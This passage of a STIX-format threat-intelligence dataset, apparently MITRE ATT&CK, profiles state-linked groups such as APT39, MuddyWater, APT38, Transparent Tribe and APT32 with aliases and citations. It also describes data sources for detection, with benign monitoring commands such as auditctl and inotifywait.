                    "source_name": "Volexity Exchange Marauder March 2021",
                    "description": "Gruzweig, J. et al. (2021, March 2). Operation Exchange Marauder: Active Exploitation of Multiple Zero-Day Microsoft Exchange Vulnerabilities. Retrieved March 3, 2021.",
                    "url": "https://www.volexity.com/blog/2021/03/02/active-exploitation-of-microsoft-exchange-zero-day-vulnerabilities/"
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                    "source_name": "Microsoft Threat Actor Naming July 2023",
                    "description": "Microsoft . (2023, July 12). How Microsoft names threat actors. Retrieved November 17, 2023.",
                    "url": "https://learn.microsoft.com/en-us/microsoft-365/security/intelligence/microsoft-threat-actor-naming?view=o365-worldwide"
                },
                {
                    "source_name": "Microsoft Silk Typhoon MAR 2025",
                    "description": "Microsoft Threat Intelligence . (2025, March 5). Silk Typhoon targeting IT supply chain. Retrieved March 20, 2025.",
                    "url": "https://www.microsoft.com/en-us/security/blog/2025/03/05/silk-typhoon-targeting-it-supply-chain/"
                },
                {
                    "source_name": "Microsoft HAFNIUM March 2020",
                    "description": "MSTIC. (2021, March 2). HAFNIUM targeting Exchange Servers with 0-day exploits. Retrieved March 3, 2021.",
                    "url": "https://www.microsoft.com/security/blog/2021/03/02/hafnium-targeting-exchange-servers/"
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            "modified": "2024-04-11T02:59:52.392Z",
            "name": "APT39",
            "description": "[APT39](https://attack.mitre.org/groups/G0087) is one of several names for cyber espionage activity conducted by the Iranian Ministry of Intelligence and Security (MOIS) through the front company Rana Intelligence Computing since at least 2014. [APT39](https://attack.mitre.org/groups/G0087) has primarily targeted the travel, hospitality, academic, and telecommunications industries in Iran and across Asia, Africa, Europe, and North America to track individuals and entities considered to be a threat by the MOIS.(Citation: FireEye APT39 Jan 2019)(Citation: Symantec Chafer Dec 2015)(Citation: FBI FLASH APT39 September 2020)(Citation: Dept. of Treasury Iran Sanctions September 2020)(Citation: DOJ Iran Indictments September 2020)",
            "aliases": [
                "APT39",
                "ITG07",
                "Chafer",
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            "x_mitre_deprecated": false,
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            "created": "2019-02-19T16:01:38.585Z",
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                    "url": "https://attack.mitre.org/groups/G0087",
                    "external_id": "G0087"
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                {
                    "source_name": "Remix Kitten",
                    "description": "(Citation: Crowdstrike GTR2020 Mar 2020)"
                },
                {
                    "source_name": "ITG07",
                    "description": "(Citation: FBI FLASH APT39 September 2020)(Citation: Dept. of Treasury Iran Sanctions September 2020)(Citation: DOJ Iran Indictments September 2020)"
                },
                {
                    "source_name": "APT39",
                    "description": "(Citation: FireEye APT39 Jan 2019)(Citation: FBI FLASH APT39 September 2020)(Citation: Dept. of Treasury Iran Sanctions September 2020)(Citation: DOJ Iran Indictments September 2020)"
                },
                {
                    "source_name": "Chafer",
                    "description": "Activities associated with APT39 largely align with a group publicly referred to as Chafer.(Citation: FireEye APT39 Jan 2019)(Citation: Symantec Chafer Dec 2015)(Citation: Dark Reading APT39 JAN 2019)(Citation: FBI FLASH APT39 September 2020)(Citation: Dept. of Treasury Iran Sanctions September 2020)(Citation: DOJ Iran Indictments September 2020)"
                },
                {
                    "source_name": "Crowdstrike GTR2020 Mar 2020",
                    "description": "Crowdstrike. (2020, March 2). 2020 Global Threat Report. Retrieved December 11, 2020.",
                    "url": "https://go.crowdstrike.com/rs/281-OBQ-266/images/Report2020CrowdStrikeGlobalThreatReport.pdf"
                },
                {
                    "source_name": "Dept. of Treasury Iran Sanctions September 2020",
                    "description": "Dept. of Treasury. (2020, September 17). Treasury Sanctions Cyber Actors Backed by Iranian Intelligence. Retrieved December 10, 2020.",
                    "url": "https://home.treasury.gov/news/press-releases/sm1127"
                },
                {
                    "source_name": "DOJ Iran Indictments September 2020",
                    "description": "DOJ. (2020, September 17). Department of Justice and Partner Departments and Agencies Conduct Coordinated Actions to Disrupt and Deter Iranian Malicious Cyber Activities Targeting the United States and the Broader International Community. Retrieved December 10, 2020.",
                    "url": "https://www.justice.gov/opa/pr/department-justice-and-partner-departments-and-agencies-conduct-coordinated-actions-disrupt"
                },
                {
                    "source_name": "FBI FLASH APT39 September 2020",
                    "description": "FBI. (2020, September 17). Indicators of Compromise Associated with Rana Intelligence Computing, also known as Advanced Persistent Threat 39, Chafer, Cadelspy, Remexi, and ITG07. Retrieved December 10, 2020.",
                    "url": "https://www.iranwatch.org/sites/default/files/public-intelligence-alert.pdf"
                },
                {
                    "source_name": "FireEye APT39 Jan 2019",
                    "description": "Hawley et al. (2019, January 29). APT39: An Iranian Cyber Espionage Group Focused on Personal Information. Retrieved February 19, 2019.",
                    "url": "https://www.fireeye.com/blog/threat-research/2019/01/apt39-iranian-cyber-espionage-group-focused-on-personal-information.html"
                },
                {
                    "source_name": "Dark Reading APT39 JAN 2019",
                    "description": "Higgins, K. (2019, January 30). Iran Ups its Traditional Cyber Espionage Tradecraft. Retrieved May 22, 2020.",
                    "url": "https://www.darkreading.com/attacks-breaches/iran-ups-its-traditional-cyber-espionage-tradecraft/d/d-id/1333764"
                },
                {
                    "source_name": "Symantec Chafer Dec 2015",
                    "description": "Symantec Security Response. (2015, December 7). Iran-based attackers use back door threats to spy on Middle Eastern targets. Retrieved April 17, 2019.",
                    "url": "https://www.symantec.com/connect/blogs/iran-based-attackers-use-back-door-threats-spy-middle-eastern-targets"
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            "modified": "2024-08-29T14:59:08.071Z",
            "name": "MuddyWater",
            "description": "[MuddyWater](https://attack.mitre.org/groups/G0069) is a cyber espionage group assessed to be a subordinate element within Iran's Ministry of Intelligence and Security (MOIS).(Citation: CYBERCOM Iranian Intel Cyber January 2022) Since at least 2017, [MuddyWater](https://attack.mitre.org/groups/G0069) has targeted a range of government and private organizations across sectors, including telecommunications, local government, defense, and oil and natural gas organizations, in the Middle East, Asia, Africa, Europe, and North America.(Citation: Unit 42 MuddyWater Nov 2017)(Citation: Symantec MuddyWater Dec 2018)(Citation: ClearSky MuddyWater Nov 2018)(Citation: ClearSky MuddyWater June 2019)(Citation: Reaqta MuddyWater November 2017)(Citation: DHS CISA AA22-055A MuddyWater February 2022)(Citation: Talos MuddyWater Jan 2022)",
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                {
                    "source_name": "MERCURY",
                    "description": "(Citation: Anomali Static Kitten February 2021)"
                },
                {
                    "source_name": "Static Kitten",
                    "description": "(Citation: Anomali Static Kitten February 2021)(Citation: Trend Micro Muddy Water March 2021)"
                },
                {
                    "source_name": "TEMP.Zagros",
                    "description": "(Citation: FireEye MuddyWater Mar 2018)(Citation: Anomali Static Kitten February 2021)(Citation: Trend Micro Muddy Water March 2021)"
                },
                {
                    "source_name": "Mango Sandstorm",
                    "description": "(Citation: Microsoft Threat Actor Naming July 2023)"
                },
                {
                    "source_name": "TA450",
                    "description": "(Citation: Proofpoint TA450 Phishing March 2024)"
                },
                {
                    "source_name": "Seedworm",
                    "description": "(Citation: Symantec MuddyWater Dec 2018)(Citation: Anomali Static Kitten February 2021)(Citation: Trend Micro Muddy Water March 2021)"
                },
                {
                    "source_name": "Earth Vetala",
                    "description": "(Citation: Trend Micro Muddy Water March 2021)"
                },
                {
                    "source_name": "MuddyWater",
                    "description": "(Citation: Unit 42 MuddyWater Nov 2017)(Citation: Symantec MuddyWater Dec 2018)"
                },
                {
                    "source_name": "ClearSky MuddyWater Nov 2018",
                    "description": "ClearSky Cyber Security. (2018, November). MuddyWater Operations in Lebanon and Oman: Using an Israeli compromised domain for a two-stage campaign. Retrieved November 29, 2018.",
                    "url": "https://www.clearskysec.com/wp-content/uploads/2018/11/MuddyWater-Operations-in-Lebanon-and-Oman.pdf"
                },
                {
                    "source_name": "ClearSky MuddyWater June 2019",
                    "description": "ClearSky. (2019, June). Iranian APT group \u2018MuddyWater\u2019 Adds Exploits to Their Arsenal. Retrieved May 14, 2020.",
                    "url": "https://www.clearskysec.com/wp-content/uploads/2019/06/Clearsky-Iranian-APT-group-%E2%80%98MuddyWater%E2%80%99-Adds-Exploits-to-Their-Arsenal.pdf"
                },
                {
                    "source_name": "CYBERCOM Iranian Intel Cyber January 2022",
                    "description": "Cyber National Mission Force. (2022, January 12). Iranian intel cyber suite of malware uses open source tools. Retrieved September 30, 2022.",
                    "url": "https://www.cybercom.mil/Media/News/Article/2897570/iranian-intel-cyber-suite-of-malware-uses-open-source-tools/"
                },
                {
                    "source_name": "DHS CISA AA22-055A MuddyWater February 2022",
                    "description": "FBI, CISA, CNMF, NCSC-UK. (2022, February 24). Iranian Government-Sponsored Actors Conduct Cyber Operations Against Global Government and Commercial Networks. Retrieved September 27, 2022.",
                    "url": "https://www.cisa.gov/uscert/ncas/alerts/aa22-055a"
                },
                {
                    "source_name": "Unit 42 MuddyWater Nov 2017",
                    "description": "Lancaster, T.. (2017, November 14). Muddying the Water: Targeted Attacks in the Middle East. Retrieved March 15, 2018.",
                    "url": "https://researchcenter.paloaltonetworks.com/2017/11/unit42-muddying-the-water-targeted-attacks-in-the-middle-east/"
                },
                {
                    "source_name": "Talos MuddyWater Jan 2022",
                    "description": "Malhortra, A and Ventura, V. (2022, January 31). Iranian APT MuddyWater targets Turkish users via malicious PDFs, executables. Retrieved June 22, 2022.",
                    "url": "https://blog.talosintelligence.com/2022/01/iranian-apt-muddywater-targets-turkey.html"
                },
                {
                    "source_name": "Anomali Static Kitten February 2021",
                    "description": "Mele, G. et al. (2021, February 10). Probable Iranian Cyber Actors, Static Kitten, Conducting Cyberespionage Campaign Targeting UAE and Kuwait Government Agencies. Retrieved March 17, 2021.",
                    "url": "https://www.anomali.com/blog/probable-iranian-cyber-actors-static-kitten-conducting-cyberespionage-campaign-targeting-uae-and-kuwait-government-agencies"
                },
                {
                    "source_name": "Microsoft Threat Actor Naming July 2023",
                    "description": "Microsoft . (2023, July 12). How Microsoft names threat actors. Retrieved November 17, 2023.",
                    "url": "https://learn.microsoft.com/en-us/microsoft-365/security/intelligence/microsoft-threat-actor-naming?view=o365-worldwide"
                },
                {
                    "source_name": "Proofpoint TA450 Phishing March 2024",
                    "description": "Miller, J. et al. (2024, March 21). Security Brief: TA450 Uses Embedded Links in PDF Attachments in Latest Campaign. Retrieved March 27, 2024.",
                    "url": "https://www.proofpoint.com/us/blog/threat-insight/security-brief-ta450-uses-embedded-links-pdf-attachments-latest-campaign"
                },
                {
                    "source_name": "Trend Micro Muddy Water March 2021",
                    "description": "Peretz, A. and Theck, E. (2021, March 5). Earth Vetala \u2013 MuddyWater Continues to Target Organizations in the Middle East. Retrieved March 18, 2021.",
                    "url": "https://www.trendmicro.com/en_us/research/21/c/earth-vetala---muddywater-continues-to-target-organizations-in-t.html"
                },
                {
                    "source_name": "Reaqta MuddyWater November 2017",
                    "description": "Reaqta. (2017, November 22). A dive into MuddyWater APT targeting Middle-East. Retrieved May 18, 2020.",
                    "url": "https://reaqta.com/2017/11/muddywater-apt-targeting-middle-east/"
                },
                {
                    "source_name": "FireEye MuddyWater Mar 2018",
                    "description": "Singh, S. et al.. (2018, March 13). Iranian Threat Group Updates Tactics, Techniques and Procedures in Spear Phishing Campaign. Retrieved April 11, 2018.",
                    "url": "https://www.fireeye.com/blog/threat-research/2018/03/iranian-threat-group-updates-ttps-in-spear-phishing-campaign.html"
                },
                {
                    "source_name": "Symantec MuddyWater Dec 2018",
                    "description": "Symantec DeepSight Adversary Intelligence Team. (2018, December 10). Seedworm: Group Compromises Government Agencies, Oil & Gas, NGOs, Telecoms, and IT Firms. Retrieved December 14, 2018.",
                    "url": "https://www.symantec.com/blogs/threat-intelligence/seedworm-espionage-group"
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            "name": "APT38",
            "description": "[APT38](https://attack.mitre.org/groups/G0082) is a North Korean state-sponsored threat group that specializes in financial cyber operations; it has been attributed to the Reconnaissance General Bureau.(Citation: CISA AA20-239A BeagleBoyz August 2020) Active since at least 2014, [APT38](https://attack.mitre.org/groups/G0082) has targeted banks, financial institutions, casinos, cryptocurrency exchanges, SWIFT system endpoints, and ATMs in at least 38 countries worldwide. Significant operations include the 2016 Bank of Bangladesh heist, during which [APT38](https://attack.mitre.org/groups/G0082) stole $81 million, as well as attacks against Bancomext (Citation: FireEye APT38 Oct 2018) and Banco de Chile (Citation: FireEye APT38 Oct 2018); some of their attacks have been destructive.(Citation: CISA AA20-239A BeagleBoyz August 2020)(Citation: FireEye APT38 Oct 2018)(Citation: DOJ North Korea Indictment Feb 2021)(Citation: Kaspersky Lazarus Under The Hood Blog 2017)\n\nNorth Korean group definitions are known to have significant overlap, and some security researchers report all North Korean state-sponsored cyber activity under the name [Lazarus Group](https://attack.mitre.org/groups/G0032) instead of tracking clusters or subgroups.",
            "aliases": [
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                "NICKEL GLADSTONE",
                "BeagleBoyz",
                "Bluenoroff",
                "Stardust Chollima",
                "Sapphire Sleet",
                "COPERNICIUM"
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            "x_mitre_contributors": [
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                "Manikantan Srinivasan, NEC Corporation India",
                "Pooja Natarajan, NEC Corporation India"
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            "id": "intrusion-set--00f67a77-86a4-4adf-be26-1a54fc713340",
            "created": "2019-01-29T21:27:24.793Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "revoked": false,
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                    "url": "https://attack.mitre.org/groups/G0082",
                    "external_id": "G0082"
                },
                {
                    "source_name": "BeagleBoyz",
                    "description": "(Citation: CISA AA20-239A BeagleBoyz August 2020)"
                },
                {
                    "source_name": "Stardust Chollima",
                    "description": "(Citation: CrowdStrike Stardust Chollima Profile April 2018)(Citation: CrowdStrike GTR 2021 June 2021)"
                },
                {
                    "source_name": "APT38",
                    "description": "(Citation: FireEye APT38 Oct 2018)"
                },
                {
                    "source_name": "Bluenoroff",
                    "description": "(Citation: Kaspersky Lazarus Under The Hood Blog 2017)"
                },
                {
                    "source_name": "Sapphire Sleet",
                    "description": "(Citation: Microsoft Threat Actor Naming July 2023)"
                },
                {
                    "source_name": "COPERNICIUM",
                    "description": "(Citation: Microsoft Threat Actor Naming July 2023)"
                },
                {
                    "source_name": "NICKEL GLADSTONE",
                    "description": "(Citation: SecureWorks NICKEL GLADSTONE profile Sept 2021)"
                },
                {
                    "source_name": "CrowdStrike GTR 2021 June 2021",
                    "description": "CrowdStrike. (2021, June 7). CrowdStrike 2021 Global Threat Report. Retrieved September 29, 2021.",
                    "url": "https://go.crowdstrike.com/rs/281-OBQ-266/images/Report2021GTR.pdf"
                },
                {
                    "source_name": "DOJ North Korea Indictment Feb 2021",
                    "description": "Department of Justice. (2021, February 17). Three North Korean Military Hackers Indicted in Wide-Ranging Scheme to Commit Cyberattacks and Financial Crimes Across the Globe. Retrieved June 9, 2021.",
                    "url": "https://www.justice.gov/opa/pr/three-north-korean-military-hackers-indicted-wide-ranging-scheme-commit-cyberattacks-and"
                },
                {
                    "source_name": "CISA AA20-239A BeagleBoyz August 2020",
                    "description": "DHS/CISA. (2020, August 26). FASTCash 2.0: North Korea's BeagleBoyz Robbing Banks. Retrieved September 29, 2021.",
                    "url": "https://us-cert.cisa.gov/ncas/alerts/aa20-239a"
                },
                {
                    "source_name": "FireEye APT38 Oct 2018",
                    "description": "FireEye. (2018, October 03). APT38: Un-usual Suspects. Retrieved November 17, 2024.",
                    "url": "https://www.mandiant.com/sites/default/files/2021-09/rpt-apt38-2018-web_v5-1.pdf"
                },
                {
                    "source_name": "Kaspersky Lazarus Under The Hood Blog 2017",
                    "description": "GReAT. (2017, April 3). Lazarus Under the Hood. Retrieved April 17, 2019.",
                    "url": "https://securelist.com/lazarus-under-the-hood/77908/"
                },
                {
                    "source_name": "CrowdStrike Stardust Chollima Profile April 2018",
                    "description": "Meyers, Adam. (2018, April 6). Meet CrowdStrike\u2019s Adversary of the Month for April: STARDUST CHOLLIMA. Retrieved September 29, 2021.",
                    "url": "https://www.crowdstrike.com/blog/meet-crowdstrikes-adversary-of-the-month-for-april-stardust-chollima/"
                },
                {
                    "source_name": "Microsoft Threat Actor Naming July 2023",
                    "description": "Microsoft . (2023, July 12). How Microsoft names threat actors. Retrieved November 17, 2023.",
                    "url": "https://learn.microsoft.com/en-us/microsoft-365/security/intelligence/microsoft-threat-actor-naming?view=o365-worldwide"
                },
                {
                    "source_name": "SecureWorks NICKEL GLADSTONE profile Sept 2021",
                    "description": "SecureWorks. (2021, September 29). NICKEL GLADSTONE Threat Profile. Retrieved September 29, 2021.",
                    "url": "https://www.secureworks.com/research/threat-profiles/nickel-gladstone"
                }
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            "modified": "2024-04-10T22:30:51.062Z",
            "name": "Transparent Tribe",
            "description": "[Transparent Tribe](https://attack.mitre.org/groups/G0134) is a suspected Pakistan-based threat group that has been active since at least 2013, primarily targeting diplomatic, defense, and research organizations in India and Afghanistan.(Citation: Proofpoint Operation Transparent Tribe March 2016)(Citation: Kaspersky Transparent Tribe August 2020)(Citation: Talos Transparent Tribe May 2021)",
            "aliases": [
                "Transparent Tribe",
                "COPPER FIELDSTONE",
                "APT36",
                "Mythic Leopard",
                "ProjectM"
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            "x_mitre_deprecated": false,
            "x_mitre_version": "1.2",
            "x_mitre_contributors": [
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                "Hiroki Nagahama, NEC Corporation"
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            "created": "2021-09-02T15:14:33.738Z",
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                    "url": "https://attack.mitre.org/groups/G0134",
                    "external_id": "G0134"
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                {
                    "source_name": "Mythic Leopard",
                    "description": "(Citation: Crowdstrike Mythic Leopard Profile)(Citation: Kaspersky Transparent Tribe August 2020)(Citation: Talos Transparent Tribe May 2021)"
                },
                {
                    "source_name": "COPPER FIELDSTONE",
                    "description": "(Citation: Secureworks COPPER FIELDSTONE Profile)"
                },
                {
                    "source_name": "APT36",
                    "description": "(Citation: Talos Transparent Tribe May 2021)"
                },
                {
                    "source_name": "ProjectM",
                    "description": "(Citation: Unit 42 ProjectM March 2016)(Citation: Kaspersky Transparent Tribe August 2020)"
                },
                {
                    "source_name": "Crowdstrike Mythic Leopard Profile",
                    "description": "Crowdstrike. (n.d.). Mythic Leopard. Retrieved October 6, 2021.",
                    "url": "https://adversary.crowdstrike.com/en-US/adversary/mythic-leopard/"
                },
                {
                    "source_name": "Kaspersky Transparent Tribe August 2020",
                    "description": "Dedola, G. (2020, August 20). Transparent Tribe: Evolution analysis, part 1. Retrieved September 2, 2021.",
                    "url": "https://securelist.com/transparent-tribe-part-1/98127/"
                },
                {
                    "source_name": "Unit 42 ProjectM March 2016",
                    "description": "Falcone, R. and Conant S. (2016, March 25). ProjectM: Link Found Between Pakistani Actor and Operation Transparent Tribe. Retrieved September 2, 2021.",
                    "url": "https://unit42.paloaltonetworks.com/unit42-projectm-link-found-between-pakistani-actor-and-operation-transparent-tribe/"
                },
                {
                    "source_name": "Proofpoint Operation Transparent Tribe March 2016",
                    "description": "Huss, D. (2016, March 1). Operation Transparent Tribe. Retrieved June 8, 2016.",
                    "url": "https://www.proofpoint.com/sites/default/files/proofpoint-operation-transparent-tribe-threat-insight-en.pdf"
                },
                {
                    "source_name": "Talos Transparent Tribe May 2021",
                    "description": "Malhotra, A. et al. (2021, May 13). Transparent Tribe APT expands its Windows malware arsenal. Retrieved September 2, 2021.",
                    "url": "https://blog.talosintelligence.com/2021/05/transparent-tribe-infra-and-targeting.html"
                },
                {
                    "source_name": "Secureworks COPPER FIELDSTONE Profile",
                    "description": "Secureworks. (n.d.). COPPER FIELDSTONE. Retrieved October 6, 2021.",
                    "url": "https://www.secureworks.com/research/threat-profiles/copper-fieldstone"
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            "modified": "2025-04-18T15:25:03.328Z",
            "name": "Container Metadata",
            "description": "Contextual data about a container and activity around it such as name, ID, image, or status",
            "x_mitre_data_source_ref": "x-mitre-data-source--072ec5a7-00ba-466f-9057-69751a22a967",
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            "x_mitre_domains": [
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            "modified": "2025-04-18T15:10:11.410Z",
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            "description": "Changes made to a file, including updates to its contents, metadata, access permissions, or attributes. These modifications may indicate legitimate activity (e.g., software updates) or unauthorized changes (e.g., tampering, ransomware, or adversarial modifications). Examples: \n\n- Content Modifications: Changes to the content of a configuration file, such as modifying `/etc/ssh/sshd_config` on Linux or `C:\\Windows\\System32\\drivers\\etc\\hosts` on Windows.\n- Permission Changes: Altering file permissions to allow broader access, such as changing a file from `644` to `777` on Linux or modifying NTFS permissions on Windows.\n- Attribute Modifications: Changing a file's attributes to hidden, read-only, or system on Windows.\n- Timestamp Manipulation: Adjusting a file's creation or modification timestamp using tools like `touch` in Linux or timestomping tools on Windows.\n- Software or System File Changes: Modifying system files such as `boot.ini`, kernel modules, or application binaries.\n\nThis data component can be collected through the following measures:\n\nWindows\n\n- Event Logs: Enable file system auditing to monitor file modifications using Security Event ID 4670 (File System Audit) or Sysmon Event ID 2 (File creation time changed).\n- PowerShell: Use Get-ItemProperty or Get-Acl cmdlets to monitor file properties: `Get-Item -Path \"C:\\path\\to\\file\" | Select-Object Name, Attributes, LastWriteTime`\n\nLinux\n\n- File System Monitoring: Use tools like auditd with rules to monitor file modifications: `auditctl -w /path/to/file -p wa -k file_modification`\n- Inotify: Use inotifywait to watch for real-time changes to files or directories: `inotifywait -m /path/to/file`\n\nmacOS\n\n- Endpoint Security Framework (ESF): Monitor file modification events using ESF APIs.\n- Audit Framework: Configure audit rules to track file changes.\n- Command-Line Tools: Use fs_usage to monitor file activities: `fs_usage -w /path/to/file`\n\nSIEM Tools\n\n- Collect logs from endpoint agents (e.g., Sysmon, Auditd) and file servers to centralize file modification event data.",
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            "id": "x-mitre-data-component--b9a1578e-8653-4103-be23-cb52e0b1816e",
            "created": "2021-10-20T15:05:19.273Z",
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            "modified": "2025-04-18T15:14:42.887Z",
            "name": "Named Pipe Metadata",
            "description": "Contextual data about a named pipe on a system, including pipe name and creating process (ex: Sysmon EIDs 17-18)\n\n*Data Collection Measures:*\n\n- Windows:\n    - Sysmon Event ID 17: Logs the creation of a named pipe.\n    - Sysmon Event ID 18: Logs connection attempts to a named pipe.\n    - Windows Security Event ID 5145: Logs access attempts to named pipes via SMB shares.\n    - ETW (Event Tracing for Windows): Provides deep telemetry into named pipe interactions.\n- Linux/macOS:\n    - AuditD (`mkfifo`, `open`, `read`, `write` syscalls): Tracks FIFO (named pipe) creation and usage.\n    - Lsof (`lsof -p <PID>` or `lsof | grep PIPE`): Lists active named pipes and associated processes.\n    - Strace (`strace -e open <process>`): Monitors named pipe interactions.\n- Endpoint Detection & Response (EDR):\n    - Capture named pipe events as part of process tracking.\n- Memory Forensics:\n    - Volatility Plugin (`pipescan`): Enumerates named pipes in system memory.\n    - Rekall Framework: Identifies active named pipes and associated processes.",
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            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
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            "modified": "2024-04-17T22:07:49.430Z",
            "name": "APT32",
            "description": "[APT32](https://attack.mitre.org/groups/G0050) is a suspected Vietnam-based threat group that has been active since at least 2014. The group has targeted multiple private sector industries as well as foreign governments, dissidents, and journalists with a strong focus on Southeast Asian countries like Vietnam, the Philippines, Laos, and Cambodia. They have extensively used strategic web compromises to compromise victims.(Citation: FireEye APT32 May 2017)(Citation: Volexity OceanLotus Nov 2017)(Citation: ESET OceanLotus)",
            "aliases": [
                "APT32",
                "SeaLotus",
                "OceanLotus",
                "APT-C-00",
                "Canvas Cyclone",
                "BISMUTH"
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            "x_mitre_deprecated": false,
            "x_mitre_version": "3.0",
            "x_mitre_contributors": [
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            "type": "intrusion-set",
            "spec_version": "2.1",
            "id": "intrusion-set--247cb30b-955f-42eb-97a5-a89fef69341e",
            "created": "2017-12-14T16:46:06.044Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "revoked": false,
            "external_references": [
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                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/groups/G0050",
                    "external_id": "G0050"
                },
                {
                    "source_name": "SeaLotus",
                    "description": "(Citation: Cybereason Oceanlotus May 2017)"
                },
                {
                    "source_name": "APT-C-00",
                    "description": "(Citation: ESET OceanLotus)(Citation: Cybereason Oceanlotus May 2017)(Citation: ESET OceanLotus Mar 2019)(Citation: Amnesty Intl. Ocean Lotus February 2021)"
                },
                {
                    "source_name": "APT32",
                    "description": "(Citation: FireEye APT32 May 2017)(Citation: Volexity OceanLotus Nov 2017)(Citation: Cybereason Oceanlotus May 2017)(Citation: ESET OceanLotus Mar 2019)(Citation: Amnesty Intl. Ocean Lotus February 2021)"
                },
                {
                    "source_name": "OceanLotus",
                    "description": "(Citation: FireEye APT32 May 2017)(Citation: Volexity OceanLotus Nov 2017)(Citation: Cybereason Oceanlotus May 2017)(Citation: ESET OceanLotus Mar 2019)(Citation: Amnesty Intl. Ocean Lotus February 2021)"
                },
                {
                    "source_name": "Canvas Cyclone",
                    "description": "(Citation: Microsoft Threat Actor Naming July 2023)"
                },
                {
                    "source_name": "BISMUTH",
                    "description": "(Citation: Microsoft Threat Actor Naming July 2023)"
                },
                {
                    "source_name": "Amnesty Intl. Ocean Lotus February 2021",
                    "description": "Amnesty International. (2021, February 24). Vietnamese activists targeted by notorious hacking group. Retrieved March 1, 2021.",
                    "url": "https://www.amnestyusa.org/wp-content/uploads/2021/02/Click-and-Bait_Vietnamese-Human-Rights-Defenders-Targeted-with-Spyware-Attacks.pdf"
                },
                {
                    "source_name": "FireEye APT32 May 2017",
                    "description": "Carr, N.. (2017, May 14). Cyber Espionage is Alive and Well: APT32 and the Threat to Global Corporations. Retrieved June 18, 2017.",
                    "url": "https://www.fireeye.com/blog/threat-research/2017/05/cyber-espionage-apt32.html"
                },
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                    "source_name": "Cybereason Oceanlotus May 2017",
                    "description": "Dahan, A. (2017, May 24). OPERATION COBALT KITTY: A LARGE-SCALE APT IN ASIA CARRIED OUT BY THE OCEANLOTUS GROUP. Retrieved November 5, 2018.",
                    "url": "https://www.cybereason.com/blog/operation-cobalt-kitty-apt"
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                    "source_name": "ESET OceanLotus Mar 2019",
                    "description": "Dumont, R. (2019, March 20). Fake or Fake: Keeping up with OceanLotus decoys. Retrieved April 1, 2019.",
                    "url": "https://www.welivesecurity.com/2019/03/20/fake-or-fake-keeping-up-with-oceanlotus-decoys/"
                },
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                    "source_name": "ESET OceanLotus",
                    "description": "Folt\u00fdn, T. (2018, March 13). OceanLotus ships new backdoor using old tricks. Retrieved May 22, 2018.",
                    "url": "https://www.welivesecurity.com/2018/03/13/oceanlotus-ships-new-backdoor/"
                },
                {
                    "source_name": "Volexity OceanLotus Nov 2017",
                    "description": "Lassalle, D., et al. (2017, November 6). OceanLotus Blossoms: Mass Digital Surveillance and Attacks Targeting ASEAN, Asian Nations, the Media, Human Rights Groups, and Civil Society. Retrieved November 6, 2017.",
                    "url": "https://www.volexity.com/blog/2017/11/06/oceanlotus-blossoms-mass-digital-surveillance-and-exploitation-of-asean-nations-the-media-human-rights-and-civil-society/"
                },
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                    "source_name": "Microsoft Threat Actor Naming July 2023",
                    "description": "Microsoft . (2023, July 12). How Microsoft names threat actors. Retrieved November 17, 2023.",
                    "url": "https://learn.microsoft.com/en-us/microsoft-365/security/intelligence/microsoft-threat-actor-naming?view=o365-worldwide"
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                {
                    "source_name": "Mulberry Typhoon",
                    "description": "(Citation: Microsoft Threat Actor Naming July 2023)(Citation: Microsoft East Asia Threats September 2023)"
                },
                {
                    "source_name": "MANGANESE",
                    "description": "(Citation: Microsoft Threat Actor Naming July 2023)(Citation: NSA APT5 Citrix Threat Hunting December 2022)"
                },
                {
                    "source_name": "Keyhole Panda",
                    "description": "(Citation: Microsoft Threat Actor Naming July 2023)(Citation: Secureworks BRONZE FLEETWOOD Profile)"
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                {
                    "source_name": "UNC2630",
                    "description": "(Citation: NSA APT5 Citrix Threat Hunting December 2022)"
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                {
                    "source_name": "BRONZE FLEETWOOD",
                    "description": "(Citation: Secureworks BRONZE FLEETWOOD Profile)"
                },
                {
                    "source_name": "FireEye Southeast Asia Threat Landscape March 2015",
                    "description": "FireEye. (2015, March). SOUTHEAST ASIA: AN EVOLVING CYBER THREAT LANDSCAPE. Retrieved February 5, 2024.",
                    "url": "https://web.archive.org/web/20220122121143/https://www.fireeye.com/content/dam/fireeye-www/current-threats/pdfs/rpt-southeast-asia-threat-landscape.pdf"
                },
                {
                    "source_name": "Mandiant Advanced Persistent Threats",
                    "description": "Mandiant. (n.d.). Advanced Persistent Threats (APTs). Retrieved February 14, 2024.",
                    "url": "https://www.mandiant.com/resources/insights/apt-groups"
                },
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                    "source_name": "Microsoft Threat Actor Naming July 2023",
                    "description": "Microsoft . (2023, July 12). How Microsoft names threat actors. Retrieved November 17, 2023.",
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                    "source_name": "Microsoft East Asia Threats September 2023",
                    "description": "Microsoft Threat Intelligence. (2023, September). Digital threats from East Asia increase in breadth and effectiveness. Retrieved February 5, 2024.",
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                {
                    "source_name": "NSA APT5 Citrix Threat Hunting December 2022",
                    "description": "National Security Agency. (2022, December). APT5: Citrix ADC Threat Hunting Guidance. Retrieved February 5, 2024.",
                    "url": "https://media.defense.gov/2022/Dec/13/2003131586/-1/-1/0/CSA-APT5-CITRIXADC-V1.PDF"
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                {
                    "source_name": "Mandiant Pulse Secure Zero-Day April 2021",
                    "description": "Perez, D. et al. (2021, April 20). Check Your Pulse: Suspected APT Actors Leverage Authentication Bypass Techniques and Pulse Secure Zero-Day. Retrieved February 5, 2024.",
                    "url": "https://www.mandiant.com/resources/blog/suspected-apt-actors-leverage-bypass-techniques-pulse-secure-zero-day"
                },
                {
                    "source_name": "Mandiant Pulse Secure Update May 2021",
                    "description": "Perez, D. et al. (2021, May 27). Re-Checking Your Pulse: Updates on Chinese APT Actors Compromising Pulse Secure VPN Devices. Retrieved February 5, 2024.",
                    "url": "https://www.mandiant.com/resources/blog/updates-on-chinese-apt-compromising-pulse-secure-vpn-devices"
                },
                {
                    "source_name": "Secureworks BRONZE FLEETWOOD Profile",
                    "description": "Secureworks CTU. (n.d.). BRONZE FLEETWOOD. Retrieved February 5, 2024.",
                    "url": "https://www.secureworks.com/research/threat-profiles/bronze-fleetwood"
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                    "url": "https://attack.mitre.org/groups/G0135",
                    "external_id": "G0135"
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                {
                    "source_name": "ESET BackdoorDiplomacy Jun 2021",
